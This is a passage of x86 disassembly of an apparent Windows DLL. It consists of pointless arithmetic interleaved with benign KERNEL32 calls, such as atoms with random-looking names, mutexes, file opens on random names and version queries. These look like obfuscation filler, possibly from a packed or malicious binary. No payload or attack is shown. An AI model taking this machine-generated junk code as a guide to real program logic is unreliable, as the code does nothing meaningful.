mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x5458], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4a24], eax
mov eax, dword [ebp - 0x48d0]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x798]
sar edx, cl
mov eax, dword [0x100ba530]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x58e4], eax
push 0x100bc520
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x100b971c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x578]
add edx, eax
mov word [ebp - 0x99c], dx
mov ecx, dword [0x100b96f4]
mov edx, dword [ecx]
mov dword [ebp - 0x58e8], edx
lea eax, [ebp - 0x2ae]
mov dword [0x100bc544], eax
movzx ecx, byte [0x100b729e]
mov edx, dword [ebp - 0x38fc]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x45cc]
mov byte [edx], cl
movzx eax, word [ebp - 0x1608]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9e50], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x58ec], eax
push str.qe_Cd6L3ylX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc548], ax
mov ecx, dword [ebp - 0x4984]
movzx edx, word [ecx]
mov eax, dword [0x100bc2b0]
movzx ecx, word [eax]
imul edx, ecx
mov word [ebp - 0x13b4], dx
lea edx, [ebp - 0x1490]
mov dword [0x100bc54c], edx
lea eax, [ebp - 0x2dc4]
mov dword [ebp - 0x58f0], eax
push 0
push 0x40
push 0x10a6
push 0x2ac1
push 1
mov ecx, dword [0x100baf48]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x58f4], eax
movsx edx, word [ebp - 0x5dc]
movsx eax, word [0x100b7378]
xor edx, eax
mov word [ebp - 0xc18], dx
mov ecx, dword [ebp - 0x4000]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x58d0]
mov dword [0x100b73ec], edx
movsx eax, byte [0x100b719a]
movsx ecx, byte [ebp - 0x32c]
xor eax, ecx
mov edx, dword [ebp - 0x4634]
mov byte [edx], al
push str.NQKX_Vpo_GNlv_AfJa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19c4], ax
push str.UNGyqfYA6FntK
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc550], ax
movzx eax, byte [ebp - 0x2ec]
mov ecx, dword [ebp - 0x3d9c]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100bbca8]
mov byte [ecx], al
mov dword [ebp - 0x58f8], 0x100bb940
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4310], eax
mov edx, dword [0x100baf9c]
mov eax, dword [ebp - 0x32a4]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x399c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3cb8]
mov eax, dword [0x100b723c]
or eax, dword [edx]
mov dword [0x100b753c], eax
mov ecx, dword [0x100bc080]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx edx, word [ebp - 0x1540]
movsx ecx, word [0x100b9aa8]
shl edx, cl
mov word [ebp - 0x18b8], dx
lea eax, [ebp - 0x272]
mov dword [ebp - 0x58fc], eax
lea ecx, [ebp - 0xea]
mov dword [0x100bc554], ecx
push str.EO7d_NKa3lRxSG8V2GQg
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1a28], ax
mov edx, dword [0x100bbbe4]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bc558], eax
movsx eax, byte [ebp - 0x264]
mov ecx, dword [ebp - 0x4080]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x20], al
push 0x24d1
push 0
lea edx, [ebp - 0x52bc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bc404], eax
mov eax, dword [ebp - 0x3f6c]
and eax, dword [ebp - 0x3fb4]
mov ecx, dword [ebp - 0x523c]
mov dword [ecx], eax
movzx edx, word [0x100bc394]
mov eax, dword [ebp - 0x444c]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [0x100b9ec4]
mov word [eax], dx
lea ecx, [ebp - 0x1660]
mov dword [ebp - 0x5900], ecx
mov edx, dword [ebp - 0x4398]
mov eax, dword [edx]
add eax, dword [ebp - 0x2f90]
mov dword [ebp - 0x3fd0], eax
push 0
push 8
push 4
push 0
push 8
push 0x80000000
push str.Vd2vuKYh5CY83139ok2YPGn
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5904], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc55c], eax
mov ecx, dword [0x100ba394]
movzx edx, byte [ecx]
movzx eax, byte [0x100b8173]
and edx, eax
mov ecx, dword [0x100bbb14]
mov byte [ecx], dl
mov dl, byte [ebp - 0x88]
mov byte [ebp - 0x345], dl
mov eax, dword [ebp - 0x54f8]
mov ecx, dword [0x100bb58c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x45b4]
mov dword [eax], edx
lea ecx, [ebp - 0xafc]
mov dword [0x100bc560], ecx
movsx edx, word [0x100b71fc]
movsx ecx, word [ebp - 0xcb4]
shl edx, cl
mov word [ebp - 0xc18], dx
mov eax, dword [ebp - 0x5100]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x12c4]
or ecx, edx
mov word [ebp - 0xddc], cx
movzx eax, byte [ebp - 0x197]
movzx ecx, byte [ebp - 0x25e]
xor eax, ecx
mov byte [0x100b73bf], al
mov edx, dword [ebp - 0x55f0]
mov eax, dword [ebp - 0x4a88]
add eax, dword [edx]
mov ecx, dword [ebp - 0x5350]
mov dword [ecx], eax
lea edx, [ebp - 0x53f0]
mov dword [ebp - 0x5908], edx
mov eax, dword [ebp - 0x46b4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x298]
and ecx, edx
mov byte [0x100b72a2], cl
lea eax, [ebp - 0x16c4]
mov dword [ebp - 0x590c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5910], eax
mov ecx, dword [ebp - 0x47e8]
movsx edx, word [ecx]
mov eax, dword [0x100ba228]
movsx ecx, word [eax]
imul edx, ecx
mov eax, dword [ebp - 0x5680]
mov word [eax], dx
movsx edx, byte [ebp - 0x2e]
mov eax, dword [0x100ba500]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100bc308]
mov byte [ecx], dl
mov edx, dword [0x100b9fec]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x42e4], eax
lea eax, [ebp - 0x33c]
mov dword [ebp - 0x5914], eax
mov ecx, dword [0x100b97f4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x5134]
mov dword [ebp - 0x2bf8], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc564], eax
push 0
push 0x20
push 2
push 0
push 2
push 0x80000000
push str.MxaDOA19pFyPNTlUX_aDwANMZX
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5918], eax
lea eax, [ebp - 0x58d0]
mov dword [0x100bc568], eax
movsx ecx, byte [0x100b72a3]
movsx edx, byte [0x100b716a]
sub ecx, edx
mov eax, dword [ebp - 0x4d7c]
mov byte [eax], cl
push 0x100b9bcc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 0x45a0]
mov dx, word [ecx]
mov word [ebp - 0x1a2c], dx
mov dword [0x100bc56c], 0x100b73e8
mov eax, dword [ebp - 0x506c]
mov cl, byte [eax]
mov byte [ebp - 0x346], cl
mov edx, dword [ebp - 0x3f1c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2d84]
shl eax, cl
mov ecx, dword [ebp - 0x3900]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x38a0], eax
mov edx, dword [ebp - 0x4618]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5264]
movzx edx, word [ecx]
or eax, edx
mov word [0x100ba990], ax
push str.IDtOY_lbDQ65_rtNGY_FmUSaP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc570], ax
mov eax, dword [0x100ba304]
mov ecx, dword [ebp - 0x4f2c]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3cb8]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x591c], eax
mov ecx, dword [ebp - 0x4c0c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc574], eax
mov edx, dword [0x100b9d2c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xef]
and eax, ecx
mov byte [ebp - 0x16c], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x5920], eax
movsx edx, word [0x100b7254]
mov eax, dword [ebp - 0x370c]
movsx ecx, word [eax]
sar edx, cl
mov word [0x100b74e4], dx
mov ecx, dword [0x100bc264]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x564c]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x1d6], dl
mov edx, dword [ebp - 0x35b8]
mov eax, dword [edx]
cdq
idiv dword [ebp - 0x50c8]
mov dword [ebp - 0x30b4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba1a4], eax
mov al, byte [ebp - 0x29a]
mov byte [0x100b874f], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc578], eax
movzx ecx, word [ebp - 0x16a0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15a0], ax
mov dword [ebp - 0x5924], 0x100b9d68
mov edx, dword [0x100bc234]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bad54], eax
lea eax, [ebp - 0xb758]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [0x100b7470]
mov eax, dword [ebp - 0x5448]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3868]
mov word [ecx], dx
mov edx, dword [ebp - 0x3b24]
mov eax, dword [edx]
mov dword [0x100bc57c], eax
lea ecx, [ebp - 0x1588]
mov dword [ebp - 0x5928], ecx
mov edx, dword [ebp - 0x48c8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4e98]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x308], al
mov eax, dword [0x100b7310]
and eax, dword [ebp - 0x3108]
mov ecx, dword [0x100ba0ec]
mov dword [ecx], eax
mov edx, dword [0x100ba538]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2ae]
or eax, ecx
mov edx, dword [ebp - 0x447c]
mov byte [edx], al
lea eax, [ebp - 0x1350]
mov dword [ebp - 0x592c], eax
push 0x100bc580
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, word [ebp - 0x127c]
mov eax, dword [ebp - 0x421c]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b7540], dx
mov ecx, dword [ebp - 0x4c04]
mov dl, byte [ecx]
mov byte [ebp - 0x347], dl
mov eax, dword [ebp - 0x3ef0]
mov ecx, dword [ebp - 0x5270]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [0x100bbdd4]
mov dword [eax], edx
movsx ecx, word [ebp - 0x177c]
mov edx, dword [ebp - 0x3b0c]
movsx eax, word [edx]
and ecx, eax
mov word [ebp - 0x574], cx
mov ecx, dword [0x100bb2cc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4028]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 2], dl
mov edx, dword [0x100bb18c]
mov dword [0x100bc598], edx
mov ax, word [ebp - 0xc64]
mov word [ebp - 0x1a30], ax
lea ecx, [ebp - 0x2ba8]
mov dword [ebp - 0x5930], ecx
movsx edx, word [ebp - 0x17a4]
mov eax, dword [ebp - 0x4db4]
movsx ecx, word [eax]
shl edx, cl
mov word [0x100b9d34], dx
mov ecx, dword [ebp - 0x462c]
mov edx, dword [ecx]
imul edx, dword [ebp - 0x2af4]
mov eax, dword [ebp - 0x40d8]
mov dword [eax], edx
push 0xeb9
push 0
lea ecx, [ebp - 0x4c34]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x5934], eax
lea edx, [ebp - 0x2cd]
mov dword [ebp - 0x5938], edx
mov eax, dword [ebp - 0x42f0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x28]
or ecx, edx
mov eax, dword [0x100bb524]
mov byte [eax], cl
push 0
push 0x20
push 0
push 0
push 4
push 0x80000000
push str.dIEy2izSG
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc59c], eax
movzx ecx, word [0x100baca0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1a34], ax
movsx edx, byte [0x100b8093]
mov eax, dword [ebp - 0x430c]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x49ec]
mov byte [ecx], dl
lea edx, [ebp - 0x3108]
mov dword [ebp - 0x593c], edx
mov eax, dword [ebp - 0x56fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x57c8]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x100b73c2], cl
movsx ecx, word [ebp - 0x1278]
movsx edx, word [ebp - 0x5c4]
and ecx, edx
mov eax, dword [ebp - 0x57d8]
mov word [eax], cx
mov ecx, dword [ebp - 0x360c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea edx, [ebp - 0x12c4]
mov dword [ebp - 0x5940], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc5a0], eax
mov dword [0x100bc5a4], 0x100ba468
mov eax, dword [ebp - 0x3dd4]
movsx ecx, byte [eax]
imul edx, ecx, 0x51
mov byte [ebp - 0xbc], dl
mov dword [ebp - 0x5944], 0x100b7510
movzx eax, byte [ebp - 0xed]
mov ecx, dword [ebp - 0x5224]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b71ee], al
movzx edx, word [ebp - 0x1350]
mov eax, dword [ebp - 0x50d8]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x15dc], dx
movsx edx, word [ebp - 0xe8c]
mov eax, dword [ebp - 0x5478]
movsx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x48e0]
mov word [eax], dx
mov ecx, dword [ebp - 0x499c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x80]
add edx, eax
mov byte [0x100b71ef], dl
lea ecx, [ebp - 0x1810]
mov dword [ebp - 0x5948], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x594c], eax
mov dword [ebp - 0x5950], 0x100b72d0
lea edx, [ebp - 0x2f94]
mov dword [0x100bc5a8], edx
movzx eax, byte [ebp - 0x300]
movzx ecx, byte [ebp - 0x2e0]
sar eax, cl
mov ecx, dword [ebp - 0x42e8]
mov byte [ecx], al
movsx edx, word [ebp - 0x1754]
movsx eax, word [ebp - 0x600]
or edx, eax
mov ecx, dword [ebp - 0x3988]
mov word [ecx], dx
lea edx, [ebp - 0x15e]
mov dword [0x100bc5ac], edx
lea eax, [ebp - 0x173c]
mov dword [ebp - 0x5954], eax
mov ecx, dword [0x100ba698]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4e00]
mov eax, dword [ebp - 0x5720]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba8ac], eax
push 0x1197
push 0
lea ecx, [ebp - 0x3c58]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bc5b0], eax
mov edx, dword [ebp - 0x55d4]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2f84]
mov dword [0x100b7404], eax
lea ecx, [ebp - 0x176]
mov dword [ebp - 0x5958], ecx
mov edx, dword [ebp - 0x3984]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x301]
sub eax, ecx
mov byte [ebp - 0x311], al
movsx edx, word [0x100b7460]
movsx ecx, word [ebp - 0xa80]
shl edx, cl
mov word [0x100b7464], dx
lea eax, [ebp - 0x1480]
mov dword [ebp - 0x595c], eax
mov ecx, dword [0x100b94a4]
mov edx, dword [ebp - 0x3d0c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x318c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb34c], eax
movzx ecx, word [ebp - 0x15e0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb47c], ax
lea edx, [ebp - 0x15]
mov dword [0x100bc5b4], edx
mov eax, dword [ebp - 0x48c8]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x334]
sar edx, cl
mov eax, dword [ebp - 0x52f4]
mov byte [eax], dl
push 0
push 0x20
push 2
push 0
push 1
push 0x40000000
push str.DS86MqAP4dQT
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5960], eax
push 0x1983
push 0
lea ecx, [ebp - 0x4a58]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bc5b8], eax
mov edx, dword [ebp - 0x3270]
and edx, dword [ebp - 0x2f9c]
mov dword [ebp - 0x2bf8], edx
lea eax, [ebp - 0x8d0]
mov dword [0x100bc5bc], eax
lea ecx, [ebp - 0x77c]
mov dword [ebp - 0x5964], ecx
mov edx, dword [ebp - 0x57a4]
mov eax, dword [ebp - 0x4d68]
or eax, dword [edx]
mov dword [ebp - 0x55b8], eax
mov ecx, dword [ebp - 0x4188]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2a0]
xor edx, eax
mov ecx, dword [0x100bc2d0]
mov byte [ecx], dl
lea edx, [ebp - 0x112]
mov dword [ebp - 0x5968], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x596c], eax
lea eax, [ebp - 0x9f4]
mov dword [ebp - 0x5970], eax
push str.U7EEm4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc5c0], ax
mov ecx, dword [ebp - 0x3ae8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x55a8]
movzx ecx, word [eax]
xor edx, ecx
mov word [0x100baf1c], dx
mov edx, dword [ebp - 0x5188]
mov eax, dword [ebp - 0x55d4]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4938], ecx
push 0x100aaf3c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1a38], ax
mov edx, dword [ebp - 0x4704]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xc18]
shl eax, cl
mov word [ebp - 0x1318], ax
mov ecx, dword [ebp - 0x3ee8]
and ecx, dword [0x100bc2a8]
mov dword [0x100b7544], ecx
lea edx, [ebp - 0xf7]
mov dword [ebp - 0x5974], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbea0], eax
mov eax, dword [0x100bc0f4]
mov cl, byte [eax]
mov byte [0x100b87ce], cl
movzx edx, word [0x100bb31c]
mov eax, dword [ebp - 0x4da0]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xfcc], dx
mov ecx, dword [0x100bbe34]
mov edx, dword [ecx]
mov dword [ebp - 0x5978], edx
mov eax, dword [ebp - 0x2cb0]
imul eax, dword [ebp - 0x4084]
mov dword [0x100ba2b0], eax
mov ecx, dword [0x100ba354]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x465c]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xc54], dx
lea edx, [ebp - 0x2c9]
mov dword [ebp - 0x597c], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba694], eax
movzx eax, word [ebp - 0x1488]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc5c4], ax
lea ecx, [ebp - 0x1d0]
mov dword [0x100bc5c8], ecx
lea edx, [ebp - 0x309]
mov dword [ebp - 0x5980], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5984], eax
mov eax, dword [ebp - 0x4548]
mov eax, dword [eax]
cdq
idiv dword [0x100bc168]
mov ecx, dword [ebp - 0x3f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x33b8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3d74]
movzx edx, word [ecx]
add eax, edx
mov word [0x100b9e60], ax
push 0
lea eax, [ebp - 0x97fc]
push eax
mov ecx, dword [0x100bc5d4]
push ecx
mov edx, dword [0x100bc5d0]
push edx
mov eax, dword [0x100bc1b4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3a6c], eax
movsx ecx, word [ebp - 0x1448]
movsx edx, word [0x100b7378]
or ecx, edx
mov eax, dword [ebp - 0x4e74]
mov word [eax], cx
lea ecx, [ebp - 0x3028]
mov dword [ebp - 0x5988], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x56c0], eax
mov edx, dword [0x100bc45c]
mov al, byte [edx]
mov byte [0x100b87cf], al
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x598c], ecx
mov edx, dword [ebp - 0x53e8]
mov eax, dword [ebp - 0x4ea0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3628]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5820]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x7d4]
sub ecx, edx
mov word [0x100b742c], cx
mov eax, dword [0x100ba7e4]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bc5cc], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x5990], eax
movsx edx, word [0x100b7314]
movsx ecx, word [ebp - 0xca8]
shl edx, cl
mov word [ebp - 0xa68], dx
mov eax, dword [0x100bb898]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x13e0]
sar edx, cl
mov eax, dword [ebp - 0x4f44]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33d8], eax
movzx ecx, byte [ebp - 0x155]
movzx edx, byte [0x100b714f]
add ecx, edx
mov eax, dword [0x100bb860]
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc5d8], eax
mov ecx, dword [ebp - 0x4a88]
mov dword [ebp - 0x5994], ecx
lea edx, [ebp - 0xa120]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x3910]
mov ecx, dword [ebp - 0x3ad8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x2b34], edx
mov eax, dword [ebp - 0x52ac]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3c54]
movsx eax, byte [edx]
or ecx, eax
mov byte [0x100b73c3], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bac8c], eax
mov dword [ebp - 0x5998], 0x100bb8e8
movsx ecx, word [ebp - 0xfd8]
movsx edx, word [ebp - 0x125c]
xor ecx, edx
mov word [ebp - 0xac4], cx
mov dword [0x100bc5dc], 0x100b71d2
mov dword [ebp - 0x599c], 0x100b718a
mov eax, dword [ebp - 0x4604]
mov edx, dword [ebp - 0x2e14]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x4788]
mov dword [eax], edx
mov ecx, dword [ebp - 0x57a4]
mov edx, dword [0x100ba520]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [0x100b71c8], eax
lea ecx, [ebp - 0x287]
mov dword [ebp - 0x59a0], ecx
lea edx, [ebp - 0xb77c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x541c]
movzx ecx, word [eax]
movzx edx, word [0x100bb870]
add ecx, edx
mov word [ebp - 0x61c], cx
mov dword [0x100bc5e0], 0x100b9f50
movzx eax, byte [ebp - 0xb2]
mov ecx, dword [ebp - 0x3e3c]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x1d], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc5e4], eax
mov eax, dword [0x100ba71c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [ebp - 0x1528]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9970], ax
mov edx, dword [ebp - 0x4a48]
mov eax, dword [0x100b74cc]
xor eax, dword [edx]
mov dword [ebp - 0x4438], eax
movzx ecx, word [ebp - 0xc20]
movzx edx, word [ebp - 0x1970]
xor ecx, edx
mov word [0x100ba990], cx
mov eax, dword [ebp - 0x47a4]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bc5e8], eax
mov ecx, dword [0x100ba978]
mov edx, dword [ebp - 0x5134]
add edx, dword [ecx]
mov eax, dword [ebp - 0x364c]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x59a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb208], eax
mov ecx, dword [ebp - 0x3538]
mov dl, byte [ecx]
mov byte [ebp - 0x348], dl
lea eax, [ebp - 0x1658]
mov dword [0x100bc5ec], eax
mov ecx, dword [ebp - 0x3ba8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x420c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x274], dl
lea edx, [ebp - 0x4ac0]
mov dword [ebp - 0x59a8], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x59ac], eax
mov eax, dword [ebp - 0x35c4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xc7]
or ecx, edx
mov byte [0x100b721e], cl
movzx eax, word [ebp - 0xf38]
movzx ecx, word [0x100b7218]
shl eax, cl
mov ecx, dword [ebp - 0x5940]
mov word [ecx], ax
push 0x100aaf40
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc5f0], ax
mov edx, dword [ebp - 0x5264]
movzx eax, word [edx]
movzx ecx, word [0x100ba290]
sar eax, cl
mov word [ebp - 0x744], ax
mov dword [0x100bc5f4], 0x100bc384
mov ecx, dword [ebp - 0x3914]
mov dx, word [ecx]
mov word [ebp - 0x1a3c], dx
mov eax, dword [ebp - 0x3740]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5914]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x310], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x35a4], eax
push str.HHy1G_14_XSdetZM
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc5f8], ax
push 0
push 0x1b2f
push 0x2a2e
push 0x73af
push 1
mov ecx, dword [ebp - 0x4f24]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x59b0], eax
mov edx, dword [ebp - 0x3900]
mov eax, dword [edx]
add eax, dword [ebp - 0x4af8]
mov dword [0x100b9530], eax
push 0x100bc3b0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx ecx, byte [ebp - 0x313]
movsx edx, byte [0x100b8587]
and ecx, edx
mov byte [ebp - 0x25c], cl
lea eax, [ebp - 0x1684]
mov dword [ebp - 0x59b4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc5fc], eax
mov ecx, dword [ebp - 0x55a8]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1120]
sar edx, cl
mov eax, dword [0x100bb780]
mov word [eax], dx
mov dword [ebp - 0x59b8], 0x100b7f8f
mov dword [0x100bc600], 0x100ba69c
movsx edx, word [ebp - 0x17f4]
mov eax, dword [ebp - 0x4e58]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xe98], dx
mov ecx, dword [ebp - 0x58a4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x46b8]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x27f], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x59bc], eax
mov edx, dword [ebp - 0x48f8]
mov eax, dword [ebp - 0x48f0]
imul eax, dword [edx]
mov dword [0x100b74b8], eax
lea ecx, [ebp - 0x1178]
mov dword [ebp - 0x59c0], ecx
mov edx, dword [ebp - 0x53e8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x5494]
mov dword [ebp - 0x31ac], eax
movzx ecx, word [0x100bac84]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x16d0], ax
mov dx, word [ebp - 0x16e4]
mov word [0x100bc604], dx
mov eax, dword [ebp - 0x4dc0]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x36b8]
mov dword [ebp - 0x2da4], ecx
